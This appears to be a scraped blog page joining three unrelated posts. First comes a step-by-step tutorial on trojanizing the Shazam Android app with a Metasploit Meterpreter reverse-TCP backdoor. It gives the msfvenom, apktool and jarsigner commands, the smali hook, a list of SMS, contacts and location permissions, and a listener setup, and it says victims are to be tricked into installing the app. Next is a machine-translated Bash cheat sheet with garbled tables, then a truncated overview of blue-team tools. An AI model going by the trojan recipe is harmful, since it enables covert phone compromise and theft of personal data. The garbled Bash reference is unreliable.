     Tools usedMetasploitapktool (apk file compile/decompile tool)keytool (Android key generation tool)jarsigner (keysigning tool) doesn’t exist


    Step 1. Create Payload APK file

    Create a meterpreter payload by running the command below in the directory you want to work in. 

    My working directory is ~/Hack/Android.

    # msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.64 LPORT=4444 -o meterpreter.apk

    -p : payload settings option

    -o: Specifies the file name to be created

    The meterpreter payload apk file was created successfully with the name meterpreter.apk.

    However, since it is a payload created simply with msfvenom without encoding or obfuscation, it cannot be detected by an AV (AntiVirus) program. 

    It’s possible.

    Step 2. Download the normal APK file 

    You need a normal apk file that will hide the meterpreter backdoor payload created in Step 1.

    Find a site where you can download the apk file through Google. 

    Usually, if you search for “apk file name you are looking for, apk download,” several sites will appear, so you can easily download them.

    Personally, I searched for and downloaded Shazam 6.4.0 from a site called apkmirror .

    (For reference, I initially downloaded it from a site called apkpure, but errors kept occurring when I decompiled it with apktool, possibly because the apk file was abnormal.)

    shazam is a free music streaming app.


    I moved the downloaded shazam 6.4.0 apk file (com.shazam.android_6.4.0-160415-604002_minAPI16….(nodpi).apk) to the directory I want to work in using the mv command .

    Because the file name was long, I renamed it to shazam_6.4.0.apk.

    The file was moved normally as shown in the screenshot below.

    Step 3. Decompile APK

    Now shazam_6.4.0. apk file and meterpreter. Decompile the apk file using apktool .

    The tool used at this time is apktool, and  apktool is installed by default in Kali Linux. 

    # apktool d -f -o original shazam_6.4.0.apk

    # apktool d -f -o payload meterpreter.apk

    The apktool I used is v2.2.1-dirty as you can see below. Please take your time to look at your options.

    Then, let’s decompile the two apk files.

    Decompilation completed successfully. New original and payload directories have been created as shown below .

    Step 4. Copy payload 

    Using the command below, copy the entire metasploit directory in  the directory where the meterpreter.apk file was decompiled ( payload /smali/com/ ) to the directory under the directory where the normal apk file was decompiled  ( original /smali/com/ ).

    # cp -r payload/smali/com/metasploit/original/smali/com

    As you can see, a metasploit directory has been created.

    There is a directory called stage in the metasploit directory, and in that directory there are files like the screenshot below.

    The file used in this exercise is Payload.smali, boxed in red .

    MainBroadcastReceiver.smali and MainService.smali files are  run in the background  through services when Android device boots. 

    It is used to implement a backdoor that runs automatically  , and we will discuss related details in the next post. 

    Step 5. Register hooking

    Using your favorite text editor, open the AndroidManifest.xml file in the directory where the normal apk file (shazam) was decompiled and find the path and name of the activity to hook.

    # gedit original/AndroidManifest.xml

    Use the search function to find the text .MAIN or .LAUNCHER  to ensure that the backdoor is executed when the app is launched  .

    The underlined part in the screenshot below. That is, the activity ( com.shazam.android.activities.SplashActivity ) set in <activity android:name= is the activity to be hooked. 


    Now, replace the Dot ( .) in the found com.shazam.android.activities.SplashActivity with Slash (/), add the .smali extension , and open the activity file using a text editor . # gedit original/smali/ com/shazam/android/activities/SplashActivity.smali

    When the activity small code opens, it searches for the following text:

    ;->onCreate(Landroid/os/Bundle;)V

    The line immediately following that line is where we will register our hook.

     Add the text below here and save. 

    At this time, please be careful as you must add the path according to the path  used in Step 4 .  (The red text is the payload file copied in Step 4.)

    invoke-static {p0}, L com/metasploit/stage/Payload ;->start(Landroid/content/Context;)V

    Step 6. Add permissions

    Open the AndroidManifest.xml file in the directory where the healthy apk file was decompiled and add the desired permissions. 

    # gedit original/AndroidManifest.xml

    At this time, check for duplicates with the originally added permissions to prevent duplicate registration.

    The newly added permissions I added are as follows.

    If you want to see more types of permissions, you can check it on the Android developer site .

    Permissions registered in the AndroidManifest .xml file are displayed when the user installs the apk file.

    The average user does not even read the permissions displayed at this time. Because I hate troublesome things~


        <uses-permission android:name=”android.permission.ACCESS_FINE_LOCATION”/>
        <uses-permission android:name=”android.permission.ACCESS_COARSE_LOCATION”/>
        <uses-permission android:name=”android.permission.CHANGE_WIFI_STATE”/ >
        <uses-permission android:name=”android.permission.ACCESS_COURSE_LOCATION”/>
        <uses-permission android:name=”android.permission.READ_SMS”/>
        <uses-permission android:name=”android.permission.WRITE_SMS” />
        <uses-permission android:name=”android.permission.SEND_SMS”/> <
        uses-permission android:name=”android.permission.RECEIVE_SMS”/>
        <uses-permission android:name=”android.permission.RECORD_AUDIO “/>
        <uses-permission android:name=”android.permission.CALL_PHONE”/>
        <uses-permission android:name=”android.permission.READ_CALL_LOG”/>
        <uses-permission android:name=”android.permission. READ_CONTACTS”/>

    Permissions have been added as shown in the screenshot below. Once you have added permissions, simply save and close the file.

    Step 7. Recompile APK

    Now that the backdoor has been planted, you need to recompile it into an apk file. Also use apktool. Run the command below. 

    # apktool b original/

    As shown in the screenshot below, when recompilation is completed successfully, a new dist directory is created under the original directory, and a new apk file is created in that directory.

    At this time, I had some trouble with the following error.

    Invalid register: v17. Must be between v0 and v15, inclusive.

    Only registers from v0 to v15 should be used, but this error occurs because registers exceeding these are used. This is assumed to occur when a value exceeding 15 is assigned to the variable called .locals in the smali code of the activity to be registered for hooking in step 3. It’s possible. A fundamental solution has not been found yet, and there are cases where errors do not occur if you download and work with an older version of the normal apk file. 

    Step 8. Keysigning

    The apk file must be keysigned to be installed on an Android device. 

    Therefore, you must first create a keystore to keysign the newly compiled apk file (omit it if it already exists!).

    You can create it through Eclipse, but here we will create it using a tool called keytool.

    To create a keystore using the keytool tool, follow the steps below. # keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -validity 9999 -keystore: Keystore name, set to debug.keystore.  

    -storepass: Keystore password, set to android

    -alias: Keystore alias, set to androiddebugkey

    -keypass: Key password  , set to android

    -validity: Validity period, set to 9999


    Once you have created a keystore, keysign it using the jarsigner tool. 

     Please note that when executing the command below, you must enter the value you set when creating the keystore .

    # jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA [apk file name]  androiddebugkey

    All work is done.

    Now, the victim is made to install and run the apk file on his Android device using social engineering techniques or any other method.

    All you have to do is use Metasploit on the attacker’s PC (Kali Linux) and wait for the victim’s Reverse Connection.

    msf > use multi/handler

    msf exploit( handler ) > set payload android/meterpreter/reverse_tcp

    payload => android/meterpreter/reverse_tcp

    msf exploit( handler ) > set lhost 192.168.0.64

    lhost => 192.168.0.64

    msf exploit( handler ) > set lport 4444

    lport => 4444

    msf exploit( handler ) > exploit

    If the victim installs and runs the apk file, he or she will get a Meterpreter session as shown in the screenshot below.

    In my case, the session was intermittently disconnected even though the app was running normally on the victim device.

    <End>

  • BASH Quick Guide

    BASH Quick Guide

    This quick guide distills essential tips and tricks to get the most out of BASH, from keyboard shortcuts to task automation. We’ll explore how terminal mastery not only drives efficiency but also strengthens digital defenses in the fascinating world of cybersecurity.

    Our BASH Quick Guide will help you navigate and control your system efficiently from the command line. From understanding file types and permissions to debugging, from controlling jobs to understanding regular expressions, This Guide covers it all.

    The information contained in the BASH Quick Guide is valuable for casual Linux users, system administrators, information security professionals, and students preparing for a wide range of exams, from LPIC to OSCP and more.

    However you choose to use it, we hope you’ve found it to be a useful resource to have on hand. 

    What is Bash?

    Bash (Bourne Again Shell) is a shell language built on top of the original Bourne Shell, which was distributed with V7 Unix in 1979 and became the standard for writing shell scripts. 

    Today it is primary for most Linux distributions, MacOS, and has even recently been enabled to run on Windows through something called WSL (Windows Subsystem for Linux).

    File Test Operators

    Testing files in scripts is easy. This is where shell scripts start to show their glory! In Bash, you can test for file permissions, size, date, file type, or existence.

    FLAG DESCRIPTION
    -andThe file exists
    -toThe file exists (identical to -e but is obsolete and out of date)
    -FThe file is a normal file (not a directory or device file)
    -sthe file is not of zero size
    -dthe file is a directory
    -bThe file is a block device.
    -CThe file is a character device.
    -pthe file is a pipe
    -hThe file is a symbolic link.
    -lThe file is a symbolic link.
    -Sthe file is a socket
    -tthe file (descriptor) is associated with a terminal device; This test option can be used to check whether stdin [ -t 0 ] or stdout [ -t 1 ] in a given script is a terminal
    -rThe file has read permission (for the user running the test).
    -wthe file has write permission (for the user running the test)
    -Xthe file has execute permission (for the user running the test)
    -gset-group-id (sgid) flag set on a file or directory
    -orset-user-id (suid) flag set in file.
    -kadhesive tip set.
    -EITHERyou own the file
    -GFile group ID same as yours
    -Nfile modified since last read
    f1 -nt f2file f1 is newer than f2
    f1 -ot f2file f1 is older than f2
    f1-ef f2The files f1 and f2 are hard links to the same file.
    !  Not - invierte el sentido de las pruebas anteriores (devuelve verdadero si la condición está ausente).

    Integer comparison operators

    How to compare integers or arithmetic expressions in shell scripts.

    FLAGDESCRIPTION
    -eqis equal to
    -neis not equal to
    -gtis greater than
    -geis greater than or equal to
    -ltis less than
    -youes menor or equal to
    <es menor que - colocar entre paréntesis dobles
    <=is less than or equal to (same rule as previous row)
    >es mayor que (misma regla que la fila anterior)
    >=is greater than or equal to (same rule as previous row)

    String comparison operators

    String comparison in Bash.

    FLAGDESCRIPTION
    =is equal to
    ==is equal to
    !=is not equal to
    <is greater than ASCII alphabetical order
    >is greater than ASCII alphabetical order
    -zthe string is null (i.e. of length zero)
    -norththe string is not null (i.e. of length zero)

    Discover: How I use Bash to automate tasks on Linux

    Composite operators

    Useful for Boolean expressions and is similar to && and ||. Compound operators work with the test command or can appear in single square brackets [<expr>].

    FLAGDESCRIPTION
    -tological and
    -eitherlogical or

    Job identifiers

    Job control allows you to selectively stop (suspend) the execution of processes and continue their execution at a later time.

    NOTATIONDESCRIPTION
    %NJob number [N]
    %SThe invocation (command line) of the job starts with the string S
    %?SInvocation (command-line) of job contains within it string S
    %%“Current” job (last job stopped in foreground or started in background)
    %+“Current” job (last job stopped in foreground or started in background)
    %-Last job
    %!Last background process

    Construction List

    Provides a means to process commands consecutively and is in fact capable of replacing complex if/then/according structures

    BUILD DESCRIPTION
    &&and
    ||o

    Reserved exit codes

    Useful for debugging a script. The output takes integer arguments in the range 0-255.

    EXIT CODE NO.DESCRIPTION
    1Catchall for general errors
    2Misuse of built-in shell functions
    126El comando invocado no puede ejecutarse
    127Command not found
    128Invalid argument to exit
    128+nFatal error signal “n”
    130Script finished by Control-C

    Signs

    UNIX V system signs.

    NAMENUMBERACTION DESCRIPTION
    SIGHUP1exitHanging
    SIGINT2exitInterrupts.
    SIGQUIT3memory dumpIn peace.
    SIGILL4memory dumpIllegal instruction.
    SIGTRAP5memory dumpTrail trap.
    SIGIOT6memory dumpIOT instruction.
    SIGEMT7memory dumpMT Instruction.
    SIGFPE8memory dumpFloating point exception.
    SIGKILL9exitDeaths (cannot be caught or ignored).
    SIGBUS10core dumpBus error.
    SIGSEGVelevencore dumpSegmentation violation.
    SIGSYS12core dumpBad argument for the system call.
    SIGPIPE13exitHe writes on a pipe without anyone being able to read it.
    SIGALRM14exitAlarm clock.
    SIGTERMfifteenexitSoftware termination signal.

    Sending control signals

    You can use these key combinations to send signals.

    KEY COMBINATIONDESCRIPTION
    Ctrl+CThe interrupt signal sends SIGINT to the job running in the foreground.
    Ctrl+YThe nature of delayed suspension. Causes a running process to stop when it attempts to read input from the terminal. Control is returned to the shell, the user can foreground, background or kill the process. Delayed sleep is only available on operating systems that support this feature.
    Ctrl+ZThe sleep signal sends a SIGTSTP to a running program, stopping it and returning control to the shell.

    Check your styt settings. Suspend and resume output are generally disabled if you use “modern” terminal emulations. The standard xterm supports Ctrl+S and Ctrl+Q by default.

    File types

    This is very different from Windows, but it’s simple once you understand it. I’ll expand this section soon with more context.

    SYMBOL MEANING
    normal file
    ddirectory
    ILink (symbolic)
    cCharacter device
    yesPlug
    pNamed Pipe
    bbloqueoofdispositivo

    Permissions

    Now you can tell what that arcane-looking string rwxrwxrwx is when you invoke ls -l

    CODEDESCRIPTION
    yessetuid when in user column
    yessetgid when in group column
    tsticky bit
    0——The right of access that this place should have is not granted.
    4—–rRead access is granted to the user category defined here.
    2—–wWrite permission is granted to the user category defined here.
    1—–xThe execute permission is granted to the user category defined here.
    orUser permits
    ggroup permissions
    ohother permissions

    Special files

    Files that are read by the shell. Listed in order of execution.

    ARCHIVEINFORMATION
    /etc/profileLaunched automatically on login
    ~.bash_profile
    ———————
    ~/.bash_login
    ———————
    ~.profile
    Whichever is found first is executed at login.
    ~/.bashrcIt is read by all non-login shells.

    String manipulation

    Bash supports a surprisingly large number of string operations! Unfortunately, these tools lack a unified approach. Some are a subset of parameter substitution and others fall within the functionality of the UNIX expr command. This results in inconsistent command syntax and feature overlap. MacOS’s built-in bash is from 2007 and doesn’t support many of these.

    String Manipulation Table

    PATTERNDESCRIPTION
    ${#var}Find the length of the rope.
    ${var%pattern}Remove from shorter end pattern
    ${var%%pattern}Remove from longest end pattern
    ${var:position}Extract substring from $var into $position
    ${var:num1:num2}Substring
    ${var#pattern}Remove from shorter front pattern
    ${var##pattern}Remove from longer front pattern
    ${var/pattern/string}Find and replace (replace only the first occurrence)
    ${var//pattern/string}Find and replace all occurrences
    ${!prefix*}Expands to variable names whose names begin with a prefix.
    ${var,}${var,pattern}Converts the first character to lowercase.
    ${var,,}${var,,pattern}Converts all characters to lowercase.
    ${var^}${var^pattern}Converts the first character to uppercase.
    ${var^^}${var^^pattern}Converts all characters to uppercase.
    ${string/substring/replacement}Replace the first match of $substring with $replacement
    ${string//substring/replacement}Replace all matches of $substring with $replacement
    ${string/#substring/replacement}If $substring matches the front end of $string, replace $replacement with $substring
    ${string/%substring/replacement}If $substring matches the end of $string, replace $replacement with $substring
    expr match “$string” ‘$substring’Matching $substring* length at start of $string
    expr “$string” : ‘$substring’Matching $substring* length at start of $string
    expr index “$string” $substringNumeric position in $string of the first character in $substring* that matches [0 if not matched, first character counts as position 1]
    expr substr $string $position $lengthExtract $length characters from $string starting at $position [0 if no match, first character counts as position 1]
    expr match “$string” ‘($substring)’Extract $substring*, searching from the beginning of $string
    expr “$string” : ‘($substring)’Extract $substring*, searching from the beginning of $string
    expr match “$string” ‘.*($substring)’Extract $substring*, searching from the end of $string
    expr “$string” : ‘.*($substring)’Extract $substring*, searching from the end of $string

    Quoting

    The following text shows characters that must be cited if you want to use their literal symbols and not their special meaning.

    SYMBOL LITERAL MEANING
    ;Command separator
    &Running in the background
    ()Command Grouping
    |Tube
    < > &Redirect symbols
    ? [ ] ~ + – @ !File name metacharacters
    «’Used to quote characters.
    $Variable, command or arithmetic substitution
    #Start a command that ends in a line break
    space tab newlineword separators

    Everything between “…” is taken literally, except $(dollar)` (backquote) and » (double quote).

    Everything between ‘…’ is taken literally, except ‘ (single quote).

    The following are taken literally. Use it to escape anything in “…” or ‘…”

    Using $ before ‘…’ or ‘…’ causes special behavior. $»…» is the same as «…» except that local translation is performed. Similarly, $’…’ is similar to $’…’ except that the quoted string is processed for escape sequences.

    Command parameters

    Command parameters, also known as arguments, are used when invoking a Bash script.

    DOMAINDESCRIPTION
    $0Name of the script itself.
    $1…$9Parameter 1…9
    ${10}Positional parameter 10
    $*It expands to positional parameters, starting from one. When the expansion occurs between double quotes, it expands to a single word with the value of each parameter separated by the first of the IFS environment variable.
    $-Current options
    $_The underscore variable is set when the shell is started and contains the absolute file name of the shell or script being executed as passed in the argument list. It is then expanded to the last argument of the previous command, after expansion. It is also set to the full path of each command executed and placed in the environment exported to that command. When checking mail, this parameter contains the name of the mail file.
    $$shell process id
    $?Exit status of the most recently executed command
    $@All arguments as separate words.
    $#Number of arguments
    $!PID of the most recent background process

    Story Expansion

    Allows the use and manipulation of previous commands.

    DOMAIN DESCRIPTION
    !A historical replacement begins.
    !!Refers to the last command.
    !nRefers to the <n>-th command line.
    !-nRefers to the current command line minus <n>.
    !stringRefers to the most recent command starting with <string>
    !?string?Refers to the most recent command containing <string> (the ending ? is optional)
    ^string1^string2^Quick replacement. Repeat the last command, replacing <string1> with <string2>.
    !#It refers to the entire command line written so far.

    Variable operations

    Perform operations on variables.

    EXPRESSION
    ${parameter:-defaultValue}
    Get the default value of shell variables
    ${parameter:=defaultValue}
    Set the default value of shell variables
    ${parameter:?”Error Message”}
    Displays an error message if the parameter is not set

    Bash Globing

    Bash can’t recognize RegEx but understands globbing. The shell performs globalization of file names, while RegEx is used to search for text.

    SymbolDESCRIPTION
    *Matches zero or more occurrences of a given pattern
    ?Matches zero or one occurrence of a given pattern
    +Matches one or more occurrences of a given pattern
    !Negates any pattern matches — reverses the pattern so to speak

    Regular expressions

    Always use quotes in your RegEx to avoid globbing

    OPERATOREFFECT
    .Matches any individual character.
    ?The previous item is optional and will be matched, at most, once.
    *The previous element will match zero or more times.
    +The previous element will match one or more times
    {N}The previous element matches exactly N times.
    {N,}The previous element matches N or more times.
    {N,M}The previous element matches at least N times, but no more than M times.
    Represents the range if it is not the first or last in a list or the endpoint of a range in a list.
    ^Matches the empty string at the beginning of a line; also represents characters that are not in the range of a list.
    $Matches the empty string at the end of a line.
    [aoeiAOEI]Matches any 1 character in the list.
    [^AOEIaoei]Matches any 1 character, which is not in the list!
    [af]Matches any 1 character in the range af

    In basic regular expressions, the metacharacters «?», «+», «{«, «|», «(» and «)» lose their special meaning; instead, use the backslash “?” … «)». Check your system documentation if commands that use regular expressions support extended expressions.

    Character classes in BRE

    A character class [:CharClass:] is a set of predefined patterns and consists of the following:

    CHARACTER CLASSEQUIVALENTEXPLANATION
    [:lower:][az]Lowercase letters.
    [:upper:][AZ]Capital letters
    [:alpha:][A-Za-z]Alphabetic letters, both uppercase and lowercase.
    [:digit:][0-9]Numbers 0-9.
    [:alnum:][a-zA-Z0-9]Alphanumeric: both letters (upper case + lower case) and digits.
    [:xdigit:][0-9A-Fa-f]Hexadecimal digits.
    [:space:][ \t\n\r\f\v]Blank space. Spaces, tabs, new lines and the like.
    [:punct:]Symbols (less digits and letters).
    [:print:][[:graph] ]Printable characters (spaces included).
    [:blank:][\t]Space and tab characters only.
    [:graph:][^ [:cntrl:]]Graphically printable characters without including spaces.
    [:cntrl:]Control characters. Non-printable characters

    Shell additions

    Bash’s built-in shell builds are typically very (if not extremely) fast compared to external programs. Some of the built-in functions are inherited from Bourne Shell (sh); These legacy commands will also work in the original Bourne Shell.

    BUILTINDESCRIPTION
    :Equivalent to true.
    .Reads and executes commands from a designated file in the current shell.
    [It is synonymous with proof but requires a final argument of ].
    aliasDefines an alias for the specified command.
    b.g.Resume a job in background mode.
    bindBinds a keyboard sequence to a read line function or macro.
    breakExits a for, while, select, or Until loop.
    built inRuns the built-in command for the specified shell.
    callerReturns the context of any active subroutine calls.
    case
    CDChanges the current directory to the specified directory.
    commandExecutes the specified command without the normal shell search.
    compgenGenerates possible ending matches for the specified word.
    completeShows how the specified words would be completed.
    comopt
    continueResume the next iteration of a for, while, select, or Until loop.
    declareDeclare a variable or variable type.
    you will sayDisplays a list of currently remembered directories.
    disownDeletes the specified jobs from the jobs table for the process.
    threw outDisplays the string specified in STDOUT.
    enableEnables or disables the specified built-in shell command.
    evalConcatenates the specified arguments into a single command and executes the command.
    execReplaces the shell process with the specified command.
    exitForces the shell to exit with the specified exit status.
    exportSets the specified variables to be available to child shell processes.
    fcSelect a list of commands from the history list.
    fgResume a job in close-up mode.
    getoptsParses the specified positional parameters.
    hashFinds and remembers the full path of the specified command.
    helpDisplays a help file.
    historyShows command history.
    ifUsed for branching.
    jobsLists active jobs.
    killSends a system signal to the specified process ID (PID).
    letEvaluate each argument in a mathematical expression.
    localCreate a limited scope variable in a function.
    logoutExits a login shell.
    mapfile
    popdRemoves entries from the directory stack.
    printfDisplays text using formatted strings.
    pushdAdds a directory to the directory stack.
    pwdDisplays the path name of the current working directory.
    readReads a line of data from STDIN and assigns it to a variable.
    readonlyReads a line of data from STDIN and assigns it to a variable that cannot be changed.
    returnForces a function to exit with a value that can be retrieved by the calling script.
    setSets and displays values ​​of environment variables and shell attributes.
    shiftTurn the positional parameters down one position.
    shoptToggles the values ​​of variables that control optional shell behavior.
    sourceReads and executes commands from a designated file in the current shell.
    suspendSuspends shell execution until a SIGCONT signal is received.
    testReturns an exit status of 0 or 1 depending on the specified condition.
    timesShows the accumulated system and user shell time.
    trapExecutes the specified command if the specified system signal is received.
    typeShows how the specified words would be interpreted if used as a command.
    typesetDeclare a variable or variable type.
    ulimitSets a limit on the specific resource for system users.
    umaskSet default permissions for newly created files and directories.
    unaliasDelete the specified alias.
    one setDeletes the specified environment variable or shell attribute.
    untilLoop that is very similar to the while loop except that it runs until the test command is executed successfully. As long as the test command fails, the until loop continues.
    waitHave the shell wait for a job to finish.
    whileWaits for the specified process to complete and returns the exit status.

    Bash Symbols Overview

    Here we have put together a collection of all the arcane syntax along with a brief description. Many of these symbols are repeated from before, but many are new; This is a good starting point if you are new to the language.

    SYMBOLQUICK REFERENCE
    #used for comments
    $It is used for parameters and variables. It has a lot of edge cases.
    ()It is used to execute commands in a subshell.
    psis used to save the output of commands that are sent to be executed in a subshell.
    (( ))It is used for arithmetic.
    $()is used to retrieve the output of arithmetic expressions, either for use with a command or to save the output to a variable.
    $[ ]obsolete integer expansion construct replaced by $(( )). Evaluates whole numbers in square brackets
    [ ]It is used for testing and is integrated. It is useful in some cases for file name expansion and string manipulation.
    [[ ]]It is used for testing. This is the one you should use unless you can think of a reason not to.
    <( )It is used for process replacement and is similar to a pipe. It can be used whenever a command expects a file and can use several at once.
    { }It is used for sequence expansion.
    ${ }It is used for variable interpolation and string manipulation.
    |is a pipe used to chain commands.
    <used to feed input to commands from a file
    >is used to send results to a file and delete any previous content in that file.
     |logical or
    &&logical and
    used for option prefixes
    used for long option prefixes
    &used to submit a job to the background
    <<WORD<<-WORDused for heredocs
    <<‘WORD'<<-‘WORD’strings are used   here
    <<<used to add output to a file.
    >>Single quotes are used to preserve the literal value.
    ‘ ‘Double quotes are used to preserve the literal value of all characters except $, ` ` and
    » «The backslash is used to escape otherwise interpreted symbols/characters that have a special meaning.
    \used to separate the components of a file name
    /similar to a NOP: a do-nothing operation. It is a built-in shell with a true exit status.
    :Used to separate commands intended to be executed sequentially.
    ;It is used to link arithmetic operations. They are all evaluated but only the last one is returned.
    ,represents the current directory.
    .represents the main directory.
    ..expands to the home directory.
    ~It is deprecated and should not be used. Read more in their respective section.
    ` `It is deprecated and should not be used. Read more in their respective section.

    Flow control

    The control flow structures in Bash are simple, although Bash is unforgiving if you get the syntax wrong.

    See   examples  on how to use control flow in bash.

    SYNTAX STRUCTUREKEY WORDS OR SYMBOLSDESCRIPTION
    Ifyes then fiTest a condition.
    If-elseyes then yes no fiTest a condition and use a fallback if the test fails.
    if-elif-elseif then elif if not fiProvides additional tests and a fallback if all tests fail. You can omit the elif conditions or add as many intermediate conditions as you like. Similarly, you can skip the else resource.
    Forto makeIterate over a sequence, a list or anything as far as the imagination goes.
    Whilewhile doingAs long as a condition is true, repeat until that condition is no longer true.
    Untiluntil it finishThe inverse of the while loop: as long as the test command fails, the until loop continues.
    Selectselect what to doIt is used to easily generate menus. Any declaration inside can be another selection construct, thus allowing the creation of submenus.
    casecase ) ;; that CAlternative if branch. Each case is an expression that matches a given pattern (that is, a case).

    Frequent questions

    What do $1 and $2 mean in Bash?

    These would be “positional parameters” in a bash script. In this context, they would refer to the first and second arguments passed to the script. For example, if you wrote a script called “myTestScript.sh” with two arguments, such as:

    ./myTestScript.sh arg1 arg2

    $1 would refer to the first argument and $2 would refer to the second.

    What is $ in Bash?

    $ represents a variable, which can be used to store values ​​such as numbers, strings, or arrays. You use $ to call that variable in a script. 

    For example, if you set a variable like this: fav_color=blue

    You can invoke it in a script with the line: echo “My favorite color is $fav_color” for the response “My favorite color is blue”

    Is Bash easier than Python?

    While the two languages ​​are similar in many ways, we would say that Bash would probably be easier to learn. 

    We say this not because there is a steep learning curve for Python, as you can learn the basics of any of them in about the same amount of time. Python is simply capable of performing more complex operations, so as you progress in your learning, there is more to cover in Python.

    How to run the Bash command in Windows Powershell?

    To run Bash on a Windows system, you need to install the Windows Subsystem for Linux  . As described on the Microsoft website,

    “The Windows Subsystem for Linux allows developers to run a GNU/Linux environment (including most tools, utilities, and command-line applications) directly on Windows, without modification, without the overhead of a traditional virtual machine or configuration. dual boot.  «

    Conclusion

    As we close this BASH Quick Guide, we’ve broken down the keys to optimizing the terminal experience. From customizing the interface to efficiently executing commands, these tips and tricks not only save time but also boost cybersecurity skills. The BASH terminal, when mastered, becomes a powerful tool for professionals looking to hone their art in digital defense.

    We hope you found this cheat sheet helpful. The bash terminal is a powerful tool for automating tasks and managing settings. It’s useful for everyone from system administrators, developers, and cybersecurity personnel to the average user who chooses Linux as their daily driver.

    We recommend that you take a look at our Chronological list of resources to learn Bash from complete beginner to advanced level to fully develop your knowledge base and get the most out of the command line.

  • Blue Team Toolbox: what makes up the must-have suitcase of any information security defender

    Blue Team Toolbox: what makes up the must-have suitcase of any information security defender

    Have you ever played computer games such as Halo or Gears of War? If yes, then you’ve noticed a game mode called Capture the Flag, which pits two teams against each other. One team, in our case “blue”, is responsible for protecting the flag from opponents who are trying to steal it.

    This type of exercise is also often used by organizations to assess their ability to detect, respond to, and mitigate cyber-attacks. As you probably already guessed, this defensive team is usually the “Blue Team”, but the attacking team is usually the “Red Team”.

    Such simulations are extremely important because they allow us to identify weaknesses in systems, employees, and processes of organizations long before attackers do so in a real attack. This means that the organization will also have some time to correct these weak points.

    By simulating real-life cyberattacks, these exercises, also known as “Red Teaming,” allow security professionals to improve their incident response procedures and strengthen their defenses against emerging threats.

    In this article, we’ll take a general look at how the two opposing teams interact with each other, as well as what open-source tools the defense side can use.

    More about assigning commands

    The Red Team always plays the role of the attacker and uses tactics that reflect the tactics of the real members of the potential hacker group. By identifying and exploiting vulnerabilities, bypassing an organization’s defenses, and compromising its systems, this adversarial modeling provides an organization with invaluable insight into all the cracks in its cybersecurity.

    Meanwhile, Blue Team takes on the role of defender as its goal is to detect and stop enemy incursions. Digital defense involves deploying various cybersecurity tools, monitoring network traffic for any anomalies or suspicious patterns, reviewing logs generated by various systems and applications, monitoring and collecting data from individual endpoints, and quickly responding to any signs of unauthorized access or suspicious behavior.

    By the way, there is also a purple team (Purple Team), which relies on a joint approach and combines both offensive and defensive actions. By strengthening communication and collaboration between offensive and defensive teams, Purple Team enables organizations to identify vulnerabilities, test security controls, and improve their overall security posture through an even more comprehensive and unified approach.

    Real tools for blue teams

    Returning to the Blue Team, it is worth noting that this party responsible for the digital defense of the organization uses many open-source tools as well as proprietary tools to carry out its mission. Next, we’ll look at some of the most useful and common tools in several categories.

    Network Analysis Tools

    1. Arkime

    Designed to efficiently process and analyze network traffic data, Arkime is a large-scale packet search and capture (PCAP) system.

    It has an intuitive web interface for viewing, searching, and exporting PCAP files, and its API allows you to directly load and use session data in PCAP and JSON format while allowing data integration with specialized traffic collection tools such as Wireshark.

    Arkime is designed to be deployed across multiple systems simultaneously and can scale to handle tens of gigabits of traffic per second. Processing large volumes of data using PCAP depends on the available disk space of the sensor and the scale of the Elasticsearch cluster. Both of these features can be scaled as needed as they are both under full administrator control.

    2. Snort

    Snort is an open-source intrusion prevention system (IPS) that monitors and analyzes network traffic to detect and prevent potential security threats.

    Widely used for real-time traffic analysis and packet logging, Snort uses a set of rules that help identify malicious activity on a network and allow it to find packets that match suspicious or malicious behavior. When such behavior is detected, the system generates warnings for administrators.

    According to the project page, Snort has three main use cases:

    • package tracking;
    • packet logging (useful for debugging network traffic);
    • network intrusion prevention system (IPS).

    To detect intrusions and malicious activity on the network, Snort has three sets of global rules:

    • rules for community users: those rules that are available to any user without any action or registration.
    • rules for registered users: By registering with Snort, a user can gain access to a specific set of rules optimized to detect much more specific threats.
    • subscriber rules: This set of rules not only allows you to more accurately identify threats and optimize them, but also provides the ability to receive threat updates.

    Incident Management Tools

    3.TheHive

    TheHive is a scalable security incident response platform that provides a collaborative and customizable space for incident handling, investigation, and response.

    TheHive is tightly integrated with MISP (Malware Intelligence Sharing Platform) and facilitates the tasks of the Security Operations Center (SoC), Computer Security Incident Response Team (CSIRT), Computer Emergency Response Team (CERT), and any other professionals facing security incidents that need to be quickly analyzed and dealt with accordingly.

    Three features make TheHive extremely useful:

    • Cooperation. The platform facilitates real-time collaboration between SOC and CERT analysts. This facilitates the integration of ongoing investigations into cases, tasks, and observed objects. Participants can access up-to-date information, and special notifications about new MISP events, alerts, email reports, and SIEM integrations to further improve communication.
    • Development. The tool simplifies the creation of cases and related tasks thanks to an efficient template engine. All metrics and fields can be configured using a special dashboard, and the platform itself supports a system for flagging files containing malware or suspicious data.
    • Performance. Up to a thousand observables can be added to each case created, including the ability to import them directly from a MISP event or an alert sent to the platform, as well as custom classification and filters.

    4. GRR Rapid Response

    GRR Rapid Response is an incident response platform that enables rapid, remote forensic analysis. It remotely collects and analyzes forensic data from systems to facilitate cybersecurity investigations and incident response efforts.

    GRR supports the collection of various types of forensic data, including file system metadata, memory contents, registry information, and other data that is critical to incident analysis. The GRR platform is designed for large-scale deployments, making it especially suitable for enterprises with a diverse and extensive IT infrastructure.

    GRR consists of two parts: client and server:

    • The GRR client is deployed to the systems that need to be examined. In each of these systems, once deployed, the GRR client periodically polls the GRR front-end servers to ensure they are running. “Work” means performing certain actions: downloading a file, listing a directory, etc.
    • The GRR server infrastructure consists of several components, including interfaces, workflows, UI servers, Fleetspeak, etc. It provides a graphical interface and API endpoint that allows analysts to schedule customer actions and view and process collected data.

    Operating system analysis tools

    5. HELK

    The HELK platform, or The Hunting ELK, is designed to provide security professionals with a comprehensive environment for proactive threat hunting, security event analysis, and incident response. It leverages the capabilities of the ELK stack along with additional tools to create a versatile and extensible security analytics platform.

    HELK combines various cybersecurity tools into a single platform for threat hunting and analytics. Its main components are Elasticsearch, Logstash, and Kibana, which are widely used for logging and data analysis. HELK extends the ELK stack by integrating additional security tools and data sources to enhance threat detection and incident response capabilities.

    The purpose of the HELK platform is primarily research, but thanks to its flexible design and core components, it can be deployed in larger environments with the desired configurations and scalable infrastructure.

    6. Volatility

